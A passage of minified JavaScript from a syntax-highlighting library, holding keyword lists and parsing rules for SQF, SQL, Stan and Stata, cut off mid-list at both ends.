waypointsEnabledUAV waypointShow waypointSpeed waypointStatements waypointTimeout waypointTimeoutCurrent waypointType waypointVisible weaponAccessories weaponAccessoriesCargo weaponCargo weaponDirection weaponInertia weaponLowered weapons weaponsItems weaponsItemsCargo weaponState weaponsTurret weightRTD WFSideText wind ",literal:"blufor civilian configNull controlNull displayNull east endl false grpNull independent lineBreak locationNull nil objNull opfor pi resistance scriptNull sideAmbientLife sideEmpty sideLogic sideUnknown taskNull teamMemberNull true west"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.NUMBER_MODE,K,q,Y,z],illegal:/#|^\$ /}}O$8.exports=wNq});var _$8=v((QLz,$$8)=>{function HNq(A){var K=A.COMMENT("--","$");return{name:"SQL (more)",aliases:["mysql","oracle"],disableAutodetect:!0,case_insensitive:!0,illegal:/[<>{}*]/,contains:[{beginKeywords:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment values with",end:/;/,endsWithParent:!0,keywords:{$pattern:/[\w\.]+/,keyword:"as abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias all allocate allow alter always analyze ancillary and anti any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound bucket buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain explode export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force foreign form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour hours http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lateral lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minutes minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notnull notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second seconds section securefile security seed segment select self semi sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tablesample tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unnest unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace window with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null unknown",built_in:"array bigint binary bit blob bool boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text time timestamp tinyint varchar varchar2 varying void"},contains:[{className:"string",begin:"'",end:"'",contains:[{begin:"''"}]},{className:"string",begin:'"',end:'"',contains:[{begin:'""'}]},{className:"string",begin:"`",end:"`"},A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE,K,A.HASH_COMMENT_MODE]},A.C_BLOCK_COMMENT_MODE,K,A.HASH_COMMENT_MODE]}}$$8.exports=HNq});var W$8=v((ULz,Z$8)=>{function G$8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function JNq(...A){return A.map((q)=>G$8(q)).join("")}function jx1(...A){return"("+A.map((q)=>G$8(q)).join("|")+")"}function ONq(A){let K=A.COMMENT("--","$"),q={className:"string",variants:[{begin:/'/,end:/'/,contains:[{begin:/''/}]}]},Y={begin:/"/,end:/"/,contains:[{begin:/""/}]},z=["true","false","unknown"],w=["double precision","large object","with timezone","without timezone"],H=["bigint","binary","blob","boolean","char","character","clob","date","dec","decfloat","decimal","float","int","integer","interval","nchar","nclob","national","numeric","real","row","smallint","time","timestamp","varchar","varying","varbinary"],J=["add","asc","collation","desc","final","first","last","view"],O=["abs","acos","all","allocate","alter","and","any","are","array","array_agg","array_max_cardinality","as","asensitive","asin","asymmetric","at","atan","atomic","authorization","avg","begin","begin_frame","begin_partition","between","bigint","binary","blob","boolean","both","by","call","called","cardinality","cascaded","case","cast","ceil","ceiling","char","char_length","character","character_length","check","classifier","clob","close","coalesce","collate","collect","column","commit","condition","connect","constraint","contains","convert","copy","corr","corresponding","cos","cosh","count","covar_pop","covar_samp","create","cross","cube","cume_dist","current","current_catalog","current_date","current_default_transform_group","current_path","current_role","current_row","current_schema","current_time","current_timestamp","current_path","current_role","current_transform_group_for_type","current_user","cursor","cycle","date","day","deallocate","dec","decimal","decfloat","declare","default","define","delete","dense_rank","deref","describe","deterministic","disconnect","distinct","double","drop","dynamic","each","element","else","empty","end","end_frame","end_partition","end-exec","equals","escape","every","except","exec","execute","exists","exp","external","extract","false","fetch","filter","first_value","float","floor","for","foreign","frame_row","free","from","full","function","fusion","get","global","grant","group","grouping","groups","having","hold","hour","identity","in","indicator","initial","inner","inout","insensitive","insert","int","integer","intersect","intersection","interval","into","is","join","json_array","json_arrayagg","json_exists","json_object","json_objectagg","json_query","json_table","json_table_primitive","json_value","lag","language","large","last_value","lateral","lead","leading","left","like","like_regex","listagg","ln","local","localtime","localtimestamp","log","log10","lower","match","match_number","match_recognize","matches","max","member","merge","method","min","minute","mod","modifies","module","month","multiset","national","natural","nchar","nclob","new","no","none","normalize","not","nth_value","ntile","null","nullif","numeric","octet_length","occurrences_regex","of","offset","old","omit","on","one","only","open","or","order","out","outer","over","overlaps","overlay","parameter","partition","pattern","per","percent","percent_rank","percentile_cont","percentile_disc","period","portion","position","position_regex","power","precedes","precision","prepare","primary","procedure","ptf","range","rank","reads","real","recursive","ref","references","referencing","regr_avgx","regr_avgy","regr_count","regr_intercept","regr_r2","regr_slope","regr_sxx","regr_sxy","regr_syy","release","result","return","returns","revoke","right","rollback","rollup","row","row_number","rows","running","savepoint","scope","scroll","search","second","seek","select","sensitive","session_user","set","show","similar","sin","sinh","skip","smallint","some","specific","specifictype","sql","sqlexception","sqlstate","sqlwarning","sqrt","start","static","stddev_pop","stddev_samp","submultiset","subset","substring","substring_regex","succeeds","sum","symmetric","system","system_time","system_user","table","tablesample","tan","tanh","then","time","timestamp","timezone_hour","timezone_minute","to","trailing","translate","translate_regex","translation","treat","trigger","trim","trim_array","true","truncate","uescape","union","unique","unknown","unnest","update ","upper","user","using","value","values","value_of","var_pop","var_samp","varbinary","varchar","varying","versioning","when","whenever","where","width_bucket","window","with","within","without","year"],X=["abs","acos","array_agg","asin","atan","avg","cast","ceil","ceiling","coalesce","corr","cos","cosh","count","covar_pop","covar_samp","cume_dist","dense_rank","deref","element","exp","extract","first_value","floor","json_array","json_arrayagg","json_exists","json_object","json_objectagg","json_query","json_table","json_table_primitive","json_value","lag","last_value","lead","listagg","ln","log","log10","lower","max","min","mod","nth_value","ntile","nullif","percent_rank","percentile_cont","percentile_disc","position","position_regex","power","rank","regr_avgx","regr_avgy","regr_count","regr_intercept","regr_r2","regr_slope","regr_sxx","regr_sxy","regr_syy","row_number","sin","sinh","sqrt","stddev_pop","stddev_samp","substring","substring_regex","sum","tan","tanh","translate","translate_regex","treat","trim","trim_array","unnest","upper","value_of","var_pop","var_samp","width_bucket"],$=["current_catalog","current_date","current_default_transform_group","current_path","current_role","current_schema","current_transform_group_for_type","current_user","session_user","system_time","system_user","current_time","localtime","current_timestamp","localtimestamp"],_=["create table","insert into","primary key","foreign key","not null","alter table","add constraint","grouping sets","on overflow","character set","respect nulls","ignore nulls","nulls first","nulls last","depth first","breadth first"],G=X,Z=[...O,...J].filter((P)=>{return!X.includes(P)}),W={className:"variable",begin:/@[a-z0-9]+/},D={className:"operator",begin:/[-+*/=%^~]|&&?|\|\|?|!=?|<(?:=>?|<|>)?|>[>=]?/,relevance:0},j={begin:JNq(/\b/,jx1(...G),/\s*\(/),keywords:{built_in:G}};function M(P,{exceptions:f,when:N}={}){let T=N;return f=f||[],P.map((C)=>{if(C.match(/\|\d+$/)||f.includes(C))return C;else if(T(C))return`${C}|0`;else return C})}return{name:"SQL",case_insensitive:!0,illegal:/[{}]|<\//,keywords:{$pattern:/\b[\w\.]+/,keyword:M(Z,{when:(P)=>P.length<3}),literal:z,type:H,built_in:$},contains:[{begin:jx1(..._),keywords:{$pattern:/[\w\.]+/,keyword:Z.concat(_),literal:z,type:H}},{className:"type",begin:jx1(...w)},j,W,q,Y,A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE,K,D]}}Z$8.exports=ONq});var j$8=v((pLz,D$8)=>{function XNq(A){let K=["functions","model","data","parameters","quantities","transformed","generated"],q=["for","in","if","else","while","break","continue","return"],Y=["print","reject","increment_log_prob|10","integrate_ode|10","integrate_ode_rk45|10","integrate_ode_bdf|10","algebra_solver"],z=["int","real","vector","ordered","positive_ordered","simplex","unit_vector","row_vector","matrix","cholesky_factor_corr|10","cholesky_factor_cov|10","corr_matrix|10","cov_matrix|10","void"],w=["Phi","Phi_approx","abs","acos","acosh","algebra_solver","append_array","append_col","append_row","asin","asinh","atan","atan2","atanh","bernoulli_cdf","bernoulli_lccdf","bernoulli_lcdf","bernoulli_logit_lpmf","bernoulli_logit_rng","bernoulli_lpmf","bernoulli_rng","bessel_first_kind","bessel_second_kind","beta_binomial_cdf","beta_binomial_lccdf","beta_binomial_lcdf","beta_binomial_lpmf","beta_binomial_rng","beta_cdf","beta_lccdf","beta_lcdf","beta_lpdf","beta_rng","binary_log_loss","binomial_cdf","binomial_coefficient_log","binomial_lccdf","binomial_lcdf","binomial_logit_lpmf","binomial_lpmf","binomial_rng","block","categorical_logit_lpmf","categorical_logit_rng","categorical_lpmf","categorical_rng","cauchy_cdf","cauchy_lccdf","cauchy_lcdf","cauchy_lpdf","cauchy_rng","cbrt","ceil","chi_square_cdf","chi_square_lccdf","chi_square_lcdf","chi_square_lpdf","chi_square_rng","cholesky_decompose","choose","col","cols","columns_dot_product","columns_dot_self","cos","cosh","cov_exp_quad","crossprod","csr_extract_u","csr_extract_v","csr_extract_w","csr_matrix_times_vector","csr_to_dense_matrix","cumulative_sum","determinant","diag_matrix","diag_post_multiply","diag_pre_multiply","diagonal","digamma","dims","dirichlet_lpdf","dirichlet_rng","distance","dot_product","dot_self","double_exponential_cdf","double_exponential_lccdf","double_exponential_lcdf","double_exponential_lpdf","double_exponential_rng","e","eigenvalues_sym","eigenvectors_sym","erf","erfc","exp","exp2","exp_mod_normal_cdf","exp_mod_normal_lccdf","exp_mod_normal_lcdf","exp_mod_normal_lpdf","exp_mod_normal_rng","expm1","exponential_cdf","exponential_lccdf","exponential_lcdf","exponential_lpdf","exponential_rng","fabs","falling_factorial","fdim","floor","fma","fmax","fmin","fmod","frechet_cdf","frechet_lccdf","frechet_lcdf","frechet_lpdf","frechet_rng","gamma_cdf","gamma_lccdf","gamma_lcdf","gamma_lpdf","gamma_p","gamma_q","gamma_rng","gaussian_dlm_obs_lpdf","get_lp","gumbel_cdf","gumbel_lccdf","gumbel_lcdf","gumbel_lpdf","gumbel_rng","head","hypergeometric_lpmf","hypergeometric_rng","hypot","inc_beta","int_step","integrate_ode","integrate_ode_bdf","integrate_ode_rk45","inv","inv_Phi","inv_chi_square_cdf","inv_chi_square_lccdf","inv_chi_square_lcdf","inv_chi_square_lpdf","inv_chi_square_rng","inv_cloglog","inv_gamma_cdf","inv_gamma_lccdf","inv_gamma_lcdf","inv_gamma_lpdf","inv_gamma_rng","inv_logit","inv_sqrt","inv_square","inv_wishart_lpdf","inv_wishart_rng","inverse","inverse_spd","is_inf","is_nan","lbeta","lchoose","lgamma","lkj_corr_cholesky_lpdf","lkj_corr_cholesky_rng","lkj_corr_lpdf","lkj_corr_rng","lmgamma","lmultiply","log","log10","log1m","log1m_exp","log1m_inv_logit","log1p","log1p_exp","log2","log_determinant","log_diff_exp","log_falling_factorial","log_inv_logit","log_mix","log_rising_factorial","log_softmax","log_sum_exp","logistic_cdf","logistic_lccdf","logistic_lcdf","logistic_lpdf","logistic_rng","logit","lognormal_cdf","lognormal_lccdf","lognormal_lcdf","lognormal_lpdf","lognormal_rng","machine_precision","matrix_exp","max","mdivide_left_spd","mdivide_left_tri_low","mdivide_right_spd","mdivide_right_tri_low","mean","min","modified_bessel_first_kind","modified_bessel_second_kind","multi_gp_cholesky_lpdf","multi_gp_lpdf","multi_normal_cholesky_lpdf","multi_normal_cholesky_rng","multi_normal_lpdf","multi_normal_prec_lpdf","multi_normal_rng","multi_student_t_lpdf","multi_student_t_rng","multinomial_lpmf","multinomial_rng","multiply_log","multiply_lower_tri_self_transpose","neg_binomial_2_cdf","neg_binomial_2_lccdf","neg_binomial_2_lcdf","neg_binomial_2_log_lpmf","neg_binomial_2_log_rng","neg_binomial_2_lpmf","neg_binomial_2_rng","neg_binomial_cdf","neg_binomial_lccdf","neg_binomial_lcdf","neg_binomial_lpmf","neg_binomial_rng","negative_infinity","normal_cdf","normal_lccdf","normal_lcdf","normal_lpdf","normal_rng","not_a_number","num_elements","ordered_logistic_lpmf","ordered_logistic_rng","owens_t","pareto_cdf","pareto_lccdf","pareto_lcdf","pareto_lpdf","pareto_rng","pareto_type_2_cdf","pareto_type_2_lccdf","pareto_type_2_lcdf","pareto_type_2_lpdf","pareto_type_2_rng","pi","poisson_cdf","poisson_lccdf","poisson_lcdf","poisson_log_lpmf","poisson_log_rng","poisson_lpmf","poisson_rng","positive_infinity","pow","print","prod","qr_Q","qr_R","quad_form","quad_form_diag","quad_form_sym","rank","rayleigh_cdf","rayleigh_lccdf","rayleigh_lcdf","rayleigh_lpdf","rayleigh_rng","reject","rep_array","rep_matrix","rep_row_vector","rep_vector","rising_factorial","round","row","rows","rows_dot_product","rows_dot_self","scaled_inv_chi_square_cdf","scaled_inv_chi_square_lccdf","scaled_inv_chi_square_lcdf","scaled_inv_chi_square_lpdf","scaled_inv_chi_square_rng","sd","segment","sin","singular_values","sinh","size","skew_normal_cdf","skew_normal_lccdf","skew_normal_lcdf","skew_normal_lpdf","skew_normal_rng","softmax","sort_asc","sort_desc","sort_indices_asc","sort_indices_desc","sqrt","sqrt2","square","squared_distance","step","student_t_cdf","student_t_lccdf","student_t_lcdf","student_t_lpdf","student_t_rng","sub_col","sub_row","sum","tail","tan","tanh","target","tcrossprod","tgamma","to_array_1d","to_array_2d","to_matrix","to_row_vector","to_vector","trace","trace_gen_quad_form","trace_quad_form","trigamma","trunc","uniform_cdf","uniform_lccdf","uniform_lcdf","uniform_lpdf","uniform_rng","variance","von_mises_lpdf","von_mises_rng","weibull_cdf","weibull_lccdf","weibull_lcdf","weibull_lpdf","weibull_rng","wiener_lpdf","wishart_lpdf","wishart_rng"],H=["bernoulli","bernoulli_logit","beta","beta_binomial","binomial","binomial_logit","categorical","categorical_logit","cauchy","chi_square","dirichlet","double_exponential","exp_mod_normal","exponential","frechet","gamma","gaussian_dlm_obs","gumbel","hypergeometric","inv_chi_square","inv_gamma","inv_wishart","lkj_corr","lkj_corr_cholesky","logistic","lognormal","multi_gp","multi_gp_cholesky","multi_normal","multi_normal_cholesky","multi_normal_prec","multi_student_t","multinomial","neg_binomial","neg_binomial_2","neg_binomial_2_log","normal","ordered_logistic","pareto","pareto_type_2","poisson","poisson_log","rayleigh","scaled_inv_chi_square","skew_normal","student_t","uniform","von_mises","weibull","wiener","wishart"];return{name:"Stan",aliases:["stanfuncs"],keywords:{$pattern:A.IDENT_RE,title:K,keyword:q.concat(z).concat(Y),built_in:w},contains:[A.C_LINE_COMMENT_MODE,A.COMMENT(/#/,/$/,{relevance:0,keywords:{"meta-keyword":"include"}}),A.COMMENT(/\/\*/,/\*\//,{relevance:0,contains:[{className:"doctag",begin:/@(return|param)/}]}),{begin:/<\s*lower\s*=/,keywords:"lower"},{begin:/[<,]\s*upper\s*=/,keywords:"upper"},{className:"keyword",begin:/\btarget\s*\+=/,relevance:10},{begin:"~\\s*("+A.IDENT_RE+")\\s*\\(",keywords:H},{className:"number",variants:[{begin:/\b\d+(?:\.\d*)?(?:[eE][+-]?\d+)?/},{begin:/\.\d+(?:[eE][+-]?\d+)?\b/}],relevance:0},{className:"string",begin:'"',end:'"',relevance:0}]}}D$8.exports=XNq});var P$8=v((dLz,M$8)=>{function $Nq(A){return{name:"Stata",aliases:["do","ado"],case_insensitive:!0,keywords:"if else in foreach for forv forva forval forvalu forvalue forvalues by bys bysort xi quietly qui capture about ac ac_7 acprplot acprplot_7 adjust ado adopath adoupdate alpha ameans an ano anov anova anova_estat anova_terms anovadef aorder ap app appe appen append arch arch_dr arch_estat arch_p archlm areg areg_p args arima arima_dr arima_estat arima_p as asmprobit asmprobit_estat asmprobit_lf asmprobit_mfx__dlg asmprobit_p ass asse asser assert avplot avplot_7 avplots avplots_7 bcskew0 bgodfrey bias binreg bip0_lf biplot bipp_lf bipr_lf bipr_p biprobit bitest bitesti bitowt blogit bmemsize boot bootsamp bootstrap bootstrap_8 boxco_l boxco_p boxcox boxcox_6 boxcox_p bprobit br break brier bro brow brows browse brr brrstat bs bs_7 bsampl_w bsample bsample_7 bsqreg bstat bstat_7 bstat_8 bstrap bstrap_7 bubble bubbleplot ca ca_estat ca_p cabiplot camat canon canon_8 canon_8_p canon_estat canon_p cap caprojection capt captu captur capture cat cc cchart cchart_7 cci cd censobs_table centile cf char chdir checkdlgfiles checkestimationsample checkhlpfiles checksum chelp ci cii cl class classutil clear cli clis clist clo clog clog_lf clog_p clogi clogi_sw clogit clogit_lf clogit_p clogitp clogl_sw cloglog clonevar clslistarray cluster cluster_measures cluster_stop cluster_tree cluster_tree_8 clustermat cmdlog cnr cnre cnreg cnreg_p cnreg_sw cnsreg codebook collaps4 collapse colormult_nb colormult_nw compare compress conf confi confir confirm conren cons const constr constra constrai constrain constraint continue contract copy copyright copysource cor corc corr corr2data corr_anti corr_kmo corr_smc corre correl correla correlat correlate corrgram cou coun count cox cox_p cox_sw coxbase coxhaz coxvar cprplot cprplot_7 crc cret cretu cretur creturn cross cs cscript cscript_log csi ct ct_is ctset ctst_5 ctst_st cttost cumsp cumsp_7 cumul cusum cusum_7 cutil d|0 datasig datasign datasigna datasignat datasignatu datasignatur datasignature datetof db dbeta de dec deco decod decode deff des desc descr descri describ describe destring dfbeta dfgls dfuller di di_g dir dirstats dis discard disp disp_res disp_s displ displa display distinct do doe doed doedi doedit dotplot dotplot_7 dprobit drawnorm drop ds ds_util dstdize duplicates durbina dwstat dydx e|0 ed edi edit egen eivreg emdef en enc enco encod encode eq erase ereg ereg_lf ereg_p ereg_sw ereghet ereghet_glf ereghet_glf_sh ereghet_gp ereghet_ilf ereghet_ilf_sh ereghet_ip eret eretu eretur ereturn err erro error esize est est_cfexist est_cfname est_clickable est_expand est_hold est_table est_unhold est_unholdok estat estat_default estat_summ estat_vce_only esti estimates etodow etof etomdy ex exi exit expand expandcl fac fact facto factor factor_estat factor_p factor_pca_rotated factor_rotate factormat fcast fcast_compute fcast_graph fdades fdadesc fdadescr fdadescri fdadescrib fdadescribe fdasav fdasave fdause fh_st file open file read file close file filefilter fillin find_hlp_file findfile findit findit_7 fit fl fli flis flist for5_0 forest forestplot form forma format fpredict frac_154 frac_adj frac_chk frac_cox frac_ddp frac_dis frac_dv frac_in frac_mun frac_pp frac_pq frac_pv frac_wgt frac_xo fracgen fracplot fracplot_7 fracpoly fracpred fron_ex fron_hn fron_p fron_tn fron_tn2 frontier ftodate ftoe ftomdy ftowdate funnel funnelplot g|0 gamhet_glf gamhet_gp gamhet_ilf gamhet_ip gamma gamma_d2 gamma_p gamma_sw gammahet gdi_hexagon gdi_spokes ge gen gene gener genera generat generate genrank genstd genvmean gettoken gl gladder gladder_7 glim_l01 glim_l02 glim_l03 glim_l04 glim_l05 glim_l06 glim_l07 glim_l08 glim_l09 glim_l10 glim_l11 glim_l12 glim_lf glim_mu glim_nw1 glim_nw2 glim_nw3 glim_p glim_v1 glim_v2 glim_v3 glim_v4 glim_v5 glim_v6 glim_v7 glm glm_6 glm_p glm_sw glmpred glo glob globa global glogit glogit_8 glogit_p gmeans gnbre_lf gnbreg gnbreg_5 gnbreg_p gomp_lf gompe_sw gomper_p gompertz gompertzhet gomphet_glf gomphet_glf_sh gomphet_gp gomphet_ilf gomphet_ilf_sh gomphet_ip gphdot gphpen gphprint gprefs gprobi_p gprobit gprobit_8 gr gr7 gr_copy gr_current gr_db gr_describe gr_dir gr_draw gr_draw_replay gr_drop gr_edit gr_editviewopts gr_example gr_example2 gr_export gr_print gr_qscheme gr_query gr_read gr_rename gr_replay gr_save gr_set gr_setscheme gr_table gr_undo gr_use graph graph7 grebar greigen greigen_7 greigen_8 grmeanby grmeanby_7 gs_fileinfo gs_filetype gs_graphinfo gs_stat gsort gwood h|0 hadimvo hareg hausman haver he heck_d2 heckma_p heckman heckp_lf heckpr_p heckprob hel help hereg hetpr_lf hetpr_p hetprob hettest hexdump hilite hist hist_7 histogram hlogit hlu hmeans hotel hotelling hprobit hreg hsearch icd9 icd9_ff icd9p iis impute imtest inbase include inf infi infil infile infix inp inpu input ins insheet insp inspe inspec inspect integ inten intreg intreg_7 intreg_p intrg2_ll intrg_ll intrg_ll2 ipolate iqreg ir irf irf_create irfm iri is_svy is_svysum isid istdize ivprob_1_lf ivprob_lf ivprobit ivprobit_p ivreg ivreg_footnote ivtob_1_lf ivtob_lf ivtobit ivtobit_p jackknife jacknife jknife jknife_6 jknife_8 jkstat joinby kalarma1 kap kap_3 kapmeier kappa kapwgt kdensity kdensity_7 keep ksm ksmirnov ktau kwallis l|0 la lab labbe labbeplot labe label labelbook ladder levels levelsof leverage lfit lfit_p li lincom line linktest lis list lloghet_glf lloghet_glf_sh lloghet_gp lloghet_ilf lloghet_ilf_sh lloghet_ip llogi_sw llogis_p llogist llogistic llogistichet lnorm_lf lnorm_sw lnorma_p lnormal lnormalhet lnormhet_glf lnormhet_glf_sh lnormhet_gp lnormhet_ilf lnormhet_ilf_sh lnormhet_ip lnskew0 loadingplot loc loca local log logi logis_lf logistic logistic_p logit logit_estat logit_p loglogs logrank loneway lookfor lookup lowess lowess_7 lpredict lrecomp lroc lroc_7 lrtest ls lsens lsens_7 lsens_x lstat ltable ltable_7 ltriang lv lvr2plot lvr2plot_7 m|0 ma mac macr macro makecns man manova manova_estat manova_p manovatest mantel mark markin markout marksample mat mat_capp mat_order mat_put_rr mat_rapp mata mata_clear mata_describe mata_drop mata_matdescribe mata_matsave mata_matuse mata_memory mata_mlib mata_mosave mata_rename mata_which matalabel matcproc matlist matname matr matri matrix matrix_input__dlg matstrik mcc mcci md0_ md1_ md1debug_ md2_ md2debug_ mds mds_estat mds_p mdsconfig mdslong mdsmat mdsshepard mdytoe mdytof me_derd mean means median memory memsize menl meqparse mer merg merge meta mfp mfx mhelp mhodds minbound mixed_ll mixed_ll_reparm mkassert mkdir mkmat mkspline ml ml_5 ml_adjs ml_bhhhs ml_c_d ml_check ml_clear ml_cnt ml_debug ml_defd ml_e0 ml_e0_bfgs ml_e0_cycle ml_e0_dfp ml_e0i ml_e1 ml_e1_bfgs ml_e1_bhhh ml_e1_cycle ml_e1_dfp ml_e2 ml_e2_cycle ml_ebfg0 ml_ebfr0 ml_ebfr1 ml_ebh0q ml_ebhh0 ml_ebhr0 ml_ebr0i ml_ecr0i ml_edfp0 ml_edfr0 ml_edfr1 ml_edr0i ml_eds ml_eer0i ml_egr0i ml_elf ml_elf_bfgs ml_elf_bhhh ml_elf_cycle ml_elf_dfp ml_elfi ml_elfs ml_enr0i ml_enrr0 ml_erdu0 ml_erdu0_bfgs ml_erdu0_bhhh ml_erdu0_bhhhq ml_erdu0_cycle ml_erdu0_dfp 